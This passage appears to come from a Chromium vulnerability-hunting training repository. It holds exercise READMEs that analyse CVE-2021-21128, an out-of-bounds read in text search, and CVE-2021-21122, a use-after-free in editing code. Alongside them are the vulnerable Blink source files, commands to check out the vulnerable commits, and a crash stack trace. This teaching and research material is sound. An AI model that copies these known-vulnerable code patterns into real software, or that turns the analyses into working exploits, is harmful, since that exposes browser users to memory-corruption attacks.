MutatorMarkingState::InvokeWeakRootsCallbackIfNeeded(\n    const void* object, TraceDescriptor desc, WeakCallback weak_callback,\n    const void* parameter) {\n  // Since weak roots are only traced at the end of marking, we can execute\n  // the callback instead of registering it.\n#if DEBUG\n  const HeapObjectHeader& header =\n      HeapObjectHeader::FromObject(desc.base_object_payload);\n  DCHECK_IMPLIES(header.IsInConstruction(), header.IsMarked());\n#endif  // DEBUG\n  weak_callback(LivenessBrokerFactory::Create(), parameter);\n}\n\nbool MutatorMarkingState::IsMarkedWeakContainer(HeapObjectHeader& header) {\n  const bool result = weak_containers_worklist_.Contains(&header) &&\n                      !recently_retraced_weak_containers_.Contains(&header);\n  DCHECK_IMPLIES(result, header.IsMarked());\n  DCHECK_IMPLIES(result, !header.IsInConstruction());\n  return result;\n}\n\nbool MutatorMarkingState::RecentlyRetracedWeakContainers::Contains(\n    const HeapObjectHeader* header) {\n  return std::find(recently_retraced_cache_.begin(),\n                   recently_retraced_cache_.end(),\n                   header) != recently_retraced_cache_.end();\n}\n\nvoid MutatorMarkingState::RecentlyRetracedWeakContainers::Insert(\n    const HeapObjectHeader* header) {\n  last_used_index_ = (last_used_index_ + 1) % kMaxCacheSize;\n  if (recently_retraced_cache_.size() <= last_used_index_)\n    recently_retraced_cache_.push_back(header);\n  else\n    recently_retraced_cache_[last_used_index_] = header;\n}\n\nclass ConcurrentMarkingState : public MarkingStateBase {\n public:\n  ConcurrentMarkingState(HeapBase& heap, MarkingWorklists& marking_worklists,\n                         CompactionWorklists* compaction_worklists)\n      : MarkingStateBase(heap, marking_worklists, compaction_worklists) {}\n\n  ~ConcurrentMarkingState() { DCHECK_EQ(last_marked_bytes_, marked_bytes_); }\n\n  size_t RecentlyMarkedBytes() {\n    return marked_bytes_ - std::exchange(last_marked_bytes_, marked_bytes_);\n  }\n\n  inline void AccountDeferredMarkedBytes(size_t deferred_bytes) {\n    // AccountDeferredMarkedBytes is called from Trace methods, which are always\n    // called after AccountMarkedBytes, so there should be no underflow here.\n    DCHECK_LE(deferred_bytes, marked_bytes_);\n    marked_bytes_ -= deferred_bytes;\n  }\n\n private:\n  size_t last_marked_bytes_ = 0;\n};\n\ntemplate <size_t deadline_check_interval, typename WorklistLocal,\n          typename Callback, typename Predicate>\nbool DrainWorklistWithPredicate(Predicate should_yield,\n                                WorklistLocal& worklist_local,\n                                Callback callback) {\n  if (worklist_local.IsLocalAndGlobalEmpty()) return true;\n  // For concurrent markers, should_yield also reports marked bytes.\n  if (should_yield()) return false;\n  size_t processed_callback_count = deadline_check_interval;\n  typename WorklistLocal::ItemType item;\n  while (worklist_local.Pop(&item)) {\n    callback(item);\n    if (--processed_callback_count == 0) {\n      if (should_yield()) {\n        return false;\n      }\n      processed_callback_count = deadline_check_interval;\n    }\n  }\n  return true;\n}\n\ntemplate <AccessMode mode>\nvoid DynamicallyTraceMarkedObject(Visitor& visitor,\n                                  const HeapObjectHeader& header) {\n  DCHECK(!header.IsInConstruction<mode>());\n  DCHECK(header.IsMarked<mode>());\n  header.Trace<mode>(&visitor);\n}\n\n}  // namespace internal\n}  // namespace cppgc\n\n#endif  // V8_HEAP_CPPGC_MARKING_STATE_H_\n"
  },
  {
    "path": "LEVEL_2/README.md",
    "content": "# LEVEL 2\n\nThis time, you cann't rely on the `Details` to search the bug. The only info you get is the related files of the bug exist. For me, I will find the patch file, and write down its path. Then I will try to find the bug and check whether these files exist this bug to provide the right file. \n\nFind the bug yourself, and if you feel difficult can see tips or the answer. \n\nI believe you can do better than me.\n\n"
  },
  {
    "path": "LEVEL_2/exercise_1/README.md",
    "content": "# Exercise 1\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-21128\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n    \n  https://bugs.chromium.org/p/chromium/issues/detail?id=1138877\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard 04fe9cc9bf0b67233b9f7f80b9a914499a431fa4\n```\n\n### Related code\n\n[third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc](https://source.chromium.org/chromium/chromium/src/+/04fe9cc9bf0b67233b9f7f80b9a914499a431fa4:third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc)\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  `IsWholeWordMatch` This func looks like buggy.\n  ```c++\nstatic bool IsWholeWordMatch(const UChar* text,\n                             int text_length,\n                             MatchResultICU& result) {\n  DCHECK_LE((int)(result.start + result.length), text_length);\n  UChar32 first_character;\n  U16_GET(text, 0, result.start, result.length, first_character);  [1]\n\n  // Chinese and Japanese lack word boundary marks, and there is no clear\n  // agreement on what constitutes a word, so treat the position before any CJK\n  // character as a word start.\n  if (Character::IsCJKIdeographOrSymbol(first_character))\n    return true;\n\n  wtf_size_t word_break_search_start = result.start + result.length;\n  while (word_break_search_start > result.start) {\n    word_break_search_start =\n        FindNextWordBackward(text, text_length, word_break_search_start);\n  }\n  if (word_break_search_start != result.start)\n    return false;\n  return static_cast<int>(result.start + result.length) ==\n         FindWordEndBoundary(text, text_length, word_break_search_start);\n}\n==========================================================\n#define CHECK_LE(val1, val2) CHECK_OP(<=, val1, val2)\n  ```\n  [1] call `U16_GET` after `DCHECK_LE`. This check means `result.start + result.length` must lessthan `text_length`, we can see about `U16_GET`\n  ```c++\n/**\n * Get a code point from a string at a random-access offset,\n * without changing the offset.\n * \"Safe\" macro, handles unpaired surrogates and checks for string boundaries.\n *\n * The offset may point to either the lead or trail surrogate unit\n * for a supplementary code point, in which case the macro will read\n * the adjacent matching surrogate as well.\n *\n * The length can be negative for a NUL-terminated string.\n *\n * If the offset points to a single, unpaired surrogate, then\n * c is set to that unpaired surrogate.\n * Iteration through a string is more efficient with U16_NEXT_UNSAFE or U16_NEXT.\n *\n * @param s const UChar * string\n * @param start starting string offset (usually 0)\n * @param i string offset, must be start<=i<length\n * @param length string length\n * @param c output UChar32 variable\n * @see U16_GET_UNSAFE\n * @stable ICU 2.4\n */\n#define U16_GET(s, start, i, length, c) UPRV_BLOCK_MACRO_BEGIN { \\\n    (c)=(s)[i]; \\\n    if(U16_IS_SURROGATE(c)) { \\\n        uint16_t __c2; \\\n        if(U16_IS_SURROGATE_LEAD(c)) { \\\n            if((i)+1!=(length) && U16_IS_TRAIL(__c2=(s)[(i)+1])) { \\ [2]\n                (c)=U16_GET_SUPPLEMENTARY((c), __c2); \\\n            } \\\n        } else { \\\n            if((i)>(start) && U16_IS_LEAD(__c2=(s)[(i)-1])) { \\\n                (c)=U16_GET_SUPPLEMENTARY(__c2, (c)); \\\n            } \\\n        } \\\n    } \\\n} UPRV_BLOCK_MACRO_END\n  ```\n  the third parameter is the length of the target string which be searched, just like find xy in xyd, and the length of this time is two.\n  But [2] makes me puzzle, it seems like the `length` parameter is the end index of the `xyd`, but in truth it is the length of `xy`. And `@param length string length` proves my opinion. If we assignment i == length like i = 2, length = 2 and `__c2=(s)[(i)+1]` can oob read.\n  We can check our answer by Detail.\n\n  > This patch chagnes |IsWholeWordMatch()| to use |U16_GET()| with valid\n  > parameters to avoid reading out of bounds data.\n  >\n  > In case of search \"\\uDB00\" (broken surrogate pair) in \"\\u0022\\uDB00\", we\n  > call |U16_GET(text, start, index, length, u32)| with start=1, index=1,\n  > length=1, where text = \"\\u0022\\DB800\", then |U16_GET()| reads text[2]\n  > for surrogate tail.\n  >\n  > After this patch, we call |U16_GET()| with length=2==end of match, to\n  > make |U16_GET()| not to read text[2].\n\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_1/text_searcher_icu.cc",
    "content": "/*\n * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012 Apple Inc. All\n * rights reserved.\n * Copyright (C) 2005 Alexey Proskuryakov.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"third_party/blink/renderer/core/editing/iterators/text_searcher_icu.h\"\n\n#include <unicode/usearch.h>\n#include \"base/macros.h\"\n#include \"third_party/blink/renderer/platform/text/character.h\"\n#include \"third_party/blink/renderer/platform/text/text_boundaries.h\"\n#include \"third_party/blink/renderer/platform/text/text_break_iterator_internal_icu.h\"\n#include \"third_party/blink/renderer/platform/text/unicode_utilities.h\"\n#include \"third_party/blink/renderer/platform/wtf/allocator/allocator.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/character_names.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/wtf_string.h\"\n\nnamespace blink {\n\nnamespace {\n\nUStringSearch* CreateSearcher() {\n  // Provide a non-empty pattern and non-empty text so usearch_open will not\n  // fail, but it doesn't matter exactly what it is, since we don't perform any\n  // searches without setting both the pattern and the text.\n  UErrorCode status = U_ZERO_ERROR;\n  String search_collator_name =\n      CurrentSearchLocaleID() + String(\"@collation=search\");\n  UStringSearch* searcher =\n      usearch_open(&kNewlineCharacter, 1, &kNewlineCharacter, 1,\n                   search_collator_name.Utf8().c_str(), nullptr, &status);\n  DCHECK(status == U_ZERO_ERROR || status == U_USING_FALLBACK_WARNING ||\n         status == U_USING_DEFAULT_WARNING)\n      << status;\n  return searcher;\n}\n\nclass ICULockableSearcher {\n  STACK_ALLOCATED();\n\n public:\n  static UStringSearch* AcquireSearcher() {\n    Instance().lock();\n    return Instance().searcher_;\n  }\n\n  static void ReleaseSearcher() { Instance().unlock(); }\n\n private:\n  static ICULockableSearcher& Instance() {\n    static ICULockableSearcher searcher(CreateSearcher());\n    return searcher;\n  }\n\n  explicit ICULockableSearcher(UStringSearch* searcher) : searcher_(searcher) {}\n\n  void lock() {\n#if DCHECK_IS_ON()\n    DCHECK(!locked_);\n    locked_ = true;\n#endif\n  }\n\n  void unlock() {\n#if DCHECK_IS_ON()\n    DCHECK(locked_);\n    locked_ = false;\n#endif\n  }\n\n  UStringSearch* const searcher_ = nullptr;\n\n#if DCHECK_IS_ON()\n  bool locked_ = false;\n#endif\n\n  DISALLOW_COPY_AND_ASSIGN(ICULockableSearcher);\n};\n\n}  // namespace\n\nstatic bool IsWholeWordMatch(const UChar* text,\n                             int text_length,\n                             MatchResultICU& result) {\n  DCHECK_LE((int)(result.start + result.length), text_length);\n  UChar32 first_character;\n  U16_GET(text, 0, result.start, result.length, first_character);\n\n  // Chinese and Japanese lack word boundary marks, and there is no clear\n  // agreement on what constitutes a word, so treat the position before any CJK\n  // character as a word start.\n  if (Character::IsCJKIdeographOrSymbol(first_character))\n    return true;\n\n  wtf_size_t word_break_search_start = result.start + result.length;\n  while (word_break_search_start > result.start) {\n    word_break_search_start =\n        FindNextWordBackward(text, text_length, word_break_search_start);\n  }\n  if (word_break_search_start != result.start)\n    return false;\n  return static_cast<int>(result.start + result.length) ==\n         FindWordEndBoundary(text, text_length, word_break_search_start);\n}\n\n// Grab the single global searcher.\n// If we ever have a reason to do more than once search buffer at once, we'll\n// have to move to multiple searchers.\nTextSearcherICU::TextSearcherICU()\n    : searcher_(ICULockableSearcher::AcquireSearcher()) {}\n\nTextSearcherICU::~TextSearcherICU() {\n  // Leave the static object pointing to valid strings (pattern=target,\n  // text=buffer). Otheriwse, usearch_reset() will results in 'use-after-free'\n  // error.\n  SetPattern(&kNewlineCharacter, 1);\n  SetText(&kNewlineCharacter, 1);\n  ICULockableSearcher::ReleaseSearcher();\n}\n\nvoid TextSearcherICU::SetPattern(const StringView& pattern,\n                                 FindOptions options) {\n  DCHECK_GT(pattern.length(), 0u);\n  options_ = options;\n  SetCaseSensitivity(!(options & kCaseInsensitive));\n  SetPattern(pattern.Characters16(), pattern.length());\n  if (ContainsKanaLetters(pattern.ToString())) {\n    NormalizeCharactersIntoNFCForm(pattern.Characters16(), pattern.length(),\n                                   normalized_search_text_);\n  }\n}\n\nvoid TextSearcherICU::SetText(const UChar* text, wtf_size_t length) {\n  UErrorCode status = U_ZERO_ERROR;\n  usearch_setText(searcher_, text, length, &status);\n  DCHECK_EQ(status, U_ZERO_ERROR);\n  text_length_ = length;\n}\n\nvoid TextSearcherICU::SetOffset(wtf_size_t offset) {\n  UErrorCode status = U_ZERO_ERROR;\n  usearch_setOffset(searcher_, offset, &status);\n  DCHECK_EQ(status, U_ZERO_ERROR);\n}\n\nbool TextSearcherICU::NextMatchResult(MatchResultICU& result) {\n  while (NextMatchResultInternal(result)) {\n    if (!ShouldSkipCurrentMatch(result))\n      return true;\n  }\n  return false;\n}\n\nbool TextSearcherICU::NextMatchResultInternal(MatchResultICU& result) {\n  UErrorCode status = U_ZERO_ERROR;\n  const int match_start = usearch_next(searcher_, &status);\n  DCHECK_EQ(status, U_ZERO_ERROR);\n\n  // TODO(iceman): It is possible to use |usearch_getText| function\n  // to retrieve text length and not store it explicitly.\n  if (!(match_start >= 0 &&\n        static_cast<wtf_size_t>(match_start) < text_length_)) {\n    DCHECK_EQ(match_start, USEARCH_DONE);\n    result.start = 0;\n    result.length = 0;\n    return false;\n  }\n\n  result.start = static_cast<wtf_size_t>(match_start);\n  result.length = usearch_getMatchedLength(searcher_);\n  // Might be possible to get zero-length result with some Unicode characters\n  // that shouldn't actually match but is matched by ICU such as \\u0080.\n  if (result.length == 0u) {\n    result.start = 0;\n    return false;\n  }\n  return true;\n}\n\nbool TextSearcherICU::ShouldSkipCurrentMatch(MatchResultICU& result) const {\n  int32_t text_length;\n  const UChar* text = usearch_getText(searcher_, &text_length);\n  DCHECK_LE((int32_t)(result.start + result.length), text_length);\n  DCHECK_GT(result.length, 0u);\n\n  if (!normalized_search_text_.IsEmpty() && !IsCorrectKanaMatch(text, result))\n    return true;\n\n  if ((options_ & kWholeWord) && !IsWholeWordMatch(text, text_length, result))\n    return true;\n  return false;\n}\n\nbool TextSearcherICU::IsCorrectKanaMatch(const UChar* text,\n                                         MatchResultICU& result) const {\n  Vector<UChar> normalized_match;\n  NormalizeCharactersIntoNFCForm(text + result.start, result.length,\n                                 normalized_match);\n  return CheckOnlyKanaLettersInStrings(\n      normalized_search_text_.data(), normalized_search_text_.size(),\n      normalized_match.begin(), normalized_match.size());\n}\n\nvoid TextSearcherICU::SetPattern(const UChar* pattern, wtf_size_t length) {\n  UErrorCode status = U_ZERO_ERROR;\n  usearch_setPattern(searcher_, pattern, length, &status);\n  DCHECK_EQ(status, U_ZERO_ERROR);\n}\n\nvoid TextSearcherICU::SetCaseSensitivity(bool case_sensitive) {\n  const UCollationStrength strength =\n      case_sensitive ? UCOL_TERTIARY : UCOL_PRIMARY;\n\n  UCollator* const collator = usearch_getCollator(searcher_);\n  if (ucol_getStrength(collator) == strength)\n    return;\n\n  ucol_setStrength(collator, strength);\n  usearch_reset(searcher_);\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_2/exercise_2/README.md",
    "content": "# Exercise 2\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-21122\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1162131#c13\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard 978994829edb17b9583ab7a6a8b001a5b9dab04e\n```\n\n### Related code\n\n[src/third_party/blink/renderer/core/editing/visible_units.cc](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/editing/visible_units.cc)\nYou'd better read some introduce for [DOM](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/dom/#dom) and [layout](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/layout/#blink-layout) in chrome\n\ntips: CanContainRange[xxxxxxxx]() is virtual func, you can find all its def carefully for the true one.\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n  \n  At first, I analysis the [patched file](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/layout/hit_test_result.cc), but have no idea about the bug, so I see more about this cve at issue website. I notice that it was found by [Grammarinator fuzzer](https://github.com/renatahodovan/grammarinator), and when I want to use this fuzzer to continue this analysis, the usage can't run properly at my local. I don't make much time on environment or it's usage, because I don't think I can do the same as the author of this fuzzer in just two days :/\n\n  Some bug found by fuzzer are difficult to find by analysis the source files, so I want continue this work with the help of break trace which author [pasted](https://bugs.chromium.org/p/chromium/issues/detail?id=1162131).\n  \n  I decide to analysis these func from top to bottom, the first\n  ```c++\nbool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) {\n  if (!node)\n    return false;\n\n  LayoutObject* layout_object = node->GetLayoutObject();\n  if (!layout_object)\n    return false;\n\n  if (!layout_object->IsInline())\n    return true;\n\n  // Don't include inline tables.\n  if (IsA<HTMLTableElement>(*node))\n    return false;\n\n  // A Marquee elements are moving so we should assume their ends are always\n  // visibily distinct.\n  if (IsA<HTMLMarqueeElement>(*node))\n    return true;\n\n  // There is a VisiblePosition inside an empty inline-block container.\n  return layout_object->IsAtomicInlineLevel() &&\n         CanHaveChildrenForEditing(node) &&\n         !To<LayoutBox>(layout_object)->Size().IsEmpty() &&         [1]\n         !HasRenderedNonAnonymousDescendantsWithHeight(layout_object);\n}\n  ```\n  We can know [1] trigger the uaf from break trace. So the `layout_object` can be free before call [1]. `layout_object->IsAtomicInlineLevel()` seems like just a judgement, so we can analysis `CanHaveChildrenForEditing(node)`. Because `layout_object` get from `node`, so `layout_object` can be deleted by `node`.\n\n  ```c++\ninline bool CanHaveChildrenForEditing(const Node* node) {\n  return !node->IsTextNode() && node->CanContainRangeEndPoint();\n}\n  ```\n  `node->CanContainRangeEndPoint()` is a virtual func which can be override. At first I ignore this point and just notice this func return false...\n  ```c++\nbool HTMLMeterElement::CanContainRangeEndPoint() const {\n  GetDocument().UpdateStyleAndLayoutTreeForNode(this);          [2]\n  return GetComputedStyle() && !GetComputedStyle()->HasEffectiveAppearance();\n}\n  ```\n  Notice this UpdateStyle, I guess it can delete object.\n  ```c++\nvoid Document::UpdateStyleAndLayoutTreeForNode(const Node* node) {\n  [ ... ]\n  DisplayLockUtilities::ScopedForcedUpdate scoped_update_forced(node);\n  UpdateStyleAndLayoutTree();  [3]\n}\n  ```\n  in [3] and later will call delete, we can get this by call tree.\n  ```shell\n  #1 0x563e4438c880 in Free base/allocator/partition_allocator/partition_root.h:673\n  #2 0x563e4438c880 in operator delete third_party/blink/renderer/core/layout/layout_object.cc:240   [4]\n  #3 0x563e443c643f in blink::LayoutObject::Destroy() third_party/blink/renderer/core/layout/layout_object.cc:3826\n  #4 0x563e443c6169 in blink::LayoutObject::DestroyAndCleanupAnonymousWrappers() layout_object.cc:?\n  #5 0x563e42da53d3 in blink::Node::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/node.cc:1714\n  #6 0x563e42c3b542 in blink::Element::DetachLayoutTree(bool) element.cc:?\n  #7 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014\n  #8 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807\n  #9 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014\n  #10 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807\n  #11 0x563e42da4968 in blink::Node::ReattachLayoutTree(blink::Node::AttachContext&) third_party/blink/renderer/core/dom/node.cc:1679\n  #12 0x563e42c43106 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3163\n  #13 0x563e42a8660a in blink::ContainerNode::RebuildLayoutTreeForChild(blink::Node*, blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1378\n  #14 0x563e42a869ca in blink::ContainerNode::RebuildChildrenLayoutTrees(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1403\n  #15 0x563e42c43428 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3192\n  #16 0x563e4293af00 in blink::StyleEngine::RebuildLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2071\n  #17 0x563e4293c4d7 in blink::StyleEngine::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2110\n  #18 0x563e42aee703 in blink::Document::UpdateStyle() third_party/blink/renderer/core/dom/document.cc:2540\n  #19 0x563e42ade9f6 in blink::Document::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/dom/document.cc:2493\n  #20 0x563e42af049b in blink::Document::UpdateStyleAndLayoutTreeForNode(blink::Node const*)    [5]\n  ```\n  [5] is the func we mentioned above. [4] delete object and we can delete layout_object there by set content-visibility to hidden.\n  \n  So in `EndsOfNodeAreVisuallyDistinctPositions` after `CanHaveChildrenForEditing(node)` will trigger uaf\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_2/visible_units.cc",
    "content": "/*\n * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"third_party/blink/renderer/core/editing/visible_units.h\"\n\n#include \"third_party/blink/renderer/core/display_lock/display_lock_utilities.h\"\n#include \"third_party/blink/renderer/core/dom/document.h\"\n#include \"third_party/blink/renderer/core/dom/element.h\"\n#include \"third_party/blink/renderer/core/dom/first_letter_pseudo_element.h\"\n#include \"third_party/blink/renderer/core/dom/node_traversal.h\"\n#include \"third_party/blink/renderer/core/dom/text.h\"\n#include \"third_party/blink/renderer/core/editing/editing_utilities.h\"\n#include \"third_party/blink/renderer/core/editing/ephemeral_range.h\"\n#include \"third_party/blink/renderer/core/editing/frame_selection.h\"\n#include \"third_party/blink/renderer/core/editing/iterators/character_iterator.h\"\n#include \"third_party/blink/renderer/core/editing/local_caret_rect.h\"\n#include \"third_party/blink/renderer/core/editing/position.h\"\n#include \"third_party/blink/renderer/core/editing/position_iterator.h\"\n#include \"third_party/blink/renderer/core/editing/position_with_affinity.h\"\n#include \"third_party/blink/renderer/core/editing/selection_adjuster.h\"\n#include \"third_party/blink/renderer/core/editing/selection_template.h\"\n#include \"third_party/blink/renderer/core/editing/text_affinity.h\"\n#include \"third_party/blink/renderer/core/editing/visible_position.h\"\n#include \"third_party/blink/renderer/core/editing/visible_selection.h\"\n#include \"third_party/blink/renderer/core/frame/local_frame.h\"\n#include \"third_party/blink/renderer/core/frame/settings.h\"\n#include \"third_party/blink/renderer/core/html/forms/text_control_element.h\"\n#include \"third_party/blink/renderer/core/html/html_br_element.h\"\n#include \"third_party/blink/renderer/core/html_names.h\"\n#include \"third_party/blink/renderer/core/layout/api/line_layout_item.h\"\n#include \"third_party/blink/renderer/core/layout/hit_test_request.h\"\n#include \"third_party/blink/renderer/core/layout/hit_test_result.h\"\n#include \"third_party/blink/renderer/core/layout/layout_inline.h\"\n#include \"third_party/blink/renderer/core/layout/layout_text_fragment.h\"\n#include \"third_party/blink/renderer/core/layout/layout_view.h\"\n#include \"third_party/blink/renderer/core/layout/line/inline_iterator.h\"\n#include \"third_party/blink/renderer/core/layout/line/inline_text_box.h\"\n#include \"third_party/blink/renderer/core/layout/ng/inline/ng_inline_node_data.h\"\n#include \"third_party/blink/renderer/core/svg_element_type_helpers.h\"\n#include \"third_party/blink/renderer/platform/heap/handle.h\"\n#include \"third_party/blink/renderer/platform/text/text_boundaries.h\"\n\nnamespace blink {\n\ntemplate <typename PositionType>\nstatic PositionType CanonicalizeCandidate(const PositionType& candidate) {\n  if (candidate.IsNull())\n    return PositionType();\n  DCHECK(IsVisuallyEquivalentCandidate(candidate));\n  PositionType upstream = MostBackwardCaretPosition(candidate);\n  if (IsVisuallyEquivalentCandidate(upstream))\n    return upstream;\n  return candidate;\n}\n\ntemplate <typename PositionType>\nstatic PositionType SnapFallbackTemplate(const PositionType& position) {\n  // When neither upstream or downstream gets us to a candidate\n  // (upstream/downstream won't leave blocks or enter new ones), we search\n  // forward and backward until we find one.\n  const PositionType& next = CanonicalizeCandidate(NextCandidate(position));\n  const PositionType& prev = CanonicalizeCandidate(PreviousCandidate(position));\n\n  // The new position must be in the same editable element. Enforce that\n  // first. Unless the descent is from a non-editable html element to an\n  // editable body.\n  Node* const node = position.ComputeContainerNode();\n  if (node && node->GetDocument().documentElement() == node &&\n      !HasEditableStyle(*node) && node->GetDocument().body() &&\n      HasEditableStyle(*node->GetDocument().body()))\n    return next.IsNotNull() ? next : prev;\n\n  Element* const editing_root = RootEditableElementOf(position);\n  // If the html element is editable, descending into its body will look like\n  // a descent from non-editable to editable content since\n  // |rootEditableElementOf()| always stops at the body.\n  if ((editing_root &&\n       editing_root->GetDocument().documentElement() == editing_root) ||\n      position.AnchorNode()->IsDocumentNode())\n    return next.IsNotNull() ? next : prev;\n\n  Node* const next_node = next.AnchorNode();\n  Node* const prev_node = prev.AnchorNode();\n  const bool prev_is_in_same_editable_element =\n      prev_node && RootEditableElementOf(prev) == editing_root;\n  const bool next_is_in_same_editable_element =\n      next_node && RootEditableElementOf(next) == editing_root;\n  if (prev_is_in_same_editable_element && !next_is_in_same_editable_element)\n    return prev;\n\n  if (next_is_in_same_editable_element && !prev_is_in_same_editable_element)\n    return next;\n\n  if (!next_is_in_same_editable_element && !prev_is_in_same_editable_element)\n    return PositionType();\n\n  // The new position should be in the same block flow element. Favor that.\n  Element* const original_block =\n      node ? EnclosingBlockFlowElement(*node) : nullptr;\n  const bool next_is_outside_original_block =\n      !next_node->IsDescendantOf(original_block) && next_node != original_block;\n  const bool prev_is_outside_original_block =\n      !prev_node->IsDescendantOf(original_block) && prev_node != original_block;\n  if (next_is_outside_original_block && !prev_is_outside_original_block)\n    return prev;\n\n  return next;\n}\n\ntemplate <typename Strategy>\nstatic PositionWithAffinityTemplate<Strategy> SnapBackwardTemplate(\n    const PositionTemplate<Strategy>& position) {\n  // Sometimes updating selection positions can be extremely expensive and\n  // occur frequently.  Often calling preventDefault on mousedown events can\n  // avoid doing unnecessary text selection work.  http://crbug.com/472258.\n  TRACE_EVENT0(\"input\", \"VisibleUnits::SnapBackward\");\n\n  if (position.IsNull())\n    return PositionWithAffinityTemplate<Strategy>();\n\n  DCHECK(position.GetDocument());\n  